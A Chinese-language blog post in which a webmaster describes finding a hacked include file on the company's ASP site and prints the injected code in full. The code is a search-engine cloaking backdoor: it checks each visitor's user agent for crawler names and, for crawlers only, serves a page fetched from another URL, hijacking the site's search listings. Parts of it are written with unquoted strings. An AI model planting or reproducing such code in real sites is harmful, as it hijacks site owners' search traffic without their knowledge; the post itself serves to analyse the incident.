前些天,公司網站被黑了,用浏覽器打開公司網站,卻沒有發現有任何異常。只是百度快照中被收錄的網站不是我們的首頁網站,是另一個公司的。我打開首頁的ASP代碼,並且文件的修改時間都沒有改變,在奇怪了。最後我在首頁的一個包含頁面中發現了,被修改了。代碼如下:
01
<%
02
Dim agent,Bot
03
agent = lcase(request.servervariables("http_user_agent"))
04
Bot = ""
05
if instr(agent, "bot") > 0 then bot = "其它蜘蛛"
06
if instr(agent,"googlebot") then bot="google"
07
if instr(agent, "mediapartners-google") > 0 then bot = "google adsense"
08
if instr(agent, "baidu") > 0 then bot = "baidu"
09
if instr(agent, "sogou") > 0 then bot = "sogou"
10
if instr(agent, "yahoo") > 0 then bot = "yahoo!"
11
if instr(agent, "msn") > 0 then bot = "msn"
12
if instr(agent, "ia_archiver") > 0 then bot = "alexa"
13
if instr(agent, "iaarchiver") > 0 then bot = "alexa"
14
if instr(agent, "sohu") > 0 then bot = "sohu"
15
if instr(agent, "sqworm") > 0 then bot = "aol"
16
if instr(agent, "yodao") > 0 then bot = "yodao"
17
if instr(agent, "iask") > 0 then bot = "iask"
18
if instr(agent, "robozilla") > 0 then bot = "robozilla"
19
if instr(agent, "lycos") > 0 then bot = "lycos"
20
if instr(agent, "soso") > 0 then bot = "soso"
21
22
23
if Bot&""<>"" then
24
response.write getHTTPPage(網址,1)
25
response.end
26
end if
27
28
29
Function getHTTPPage(url,Bytes)
30
On Error Resume Next
31
dim http
32
if Bytes=1 then
33
Bytes=GB2312
34
else
35
Bytes=utf-8
36
end if
37
set http=Server.createobject("Microsoft.XMLHTTP")
38
Http.open GET,url,false
39
Http.send()
40
if Http.readystate<>4 then
41
exit function
42
end if
43
getHTTPPage=bytesToBSTR(Http.responseBody,Bytes)
44
set http=nothing
45
If Err.number<>0 then
46
Err.Clear
47
End If
48
End Function
49
50
51
Function BytesToBstr(body,Cset)
52
dim obJStream
53
set obJStream = Server.CreateObject("adodb.stream")
54
obJStream.Type = 1
55
obJStream.Mode =3
56
obJStream.Open
57
obJStream.Write body
58
obJStream.Position = 0
59
obJStream.Type = 2
60
obJStream.Charset = Cset
61
BytesToBstr = obJStream.ReadText
62
obJStream.Close
63
set obJStream = nothing
64
End Function
65
66
%>(鼠標移到代碼上去,在代碼的頂部會出現四個圖標,第一個是查看源代碼,第二個是復制代碼,第三個是打印代碼,第四個是幫助)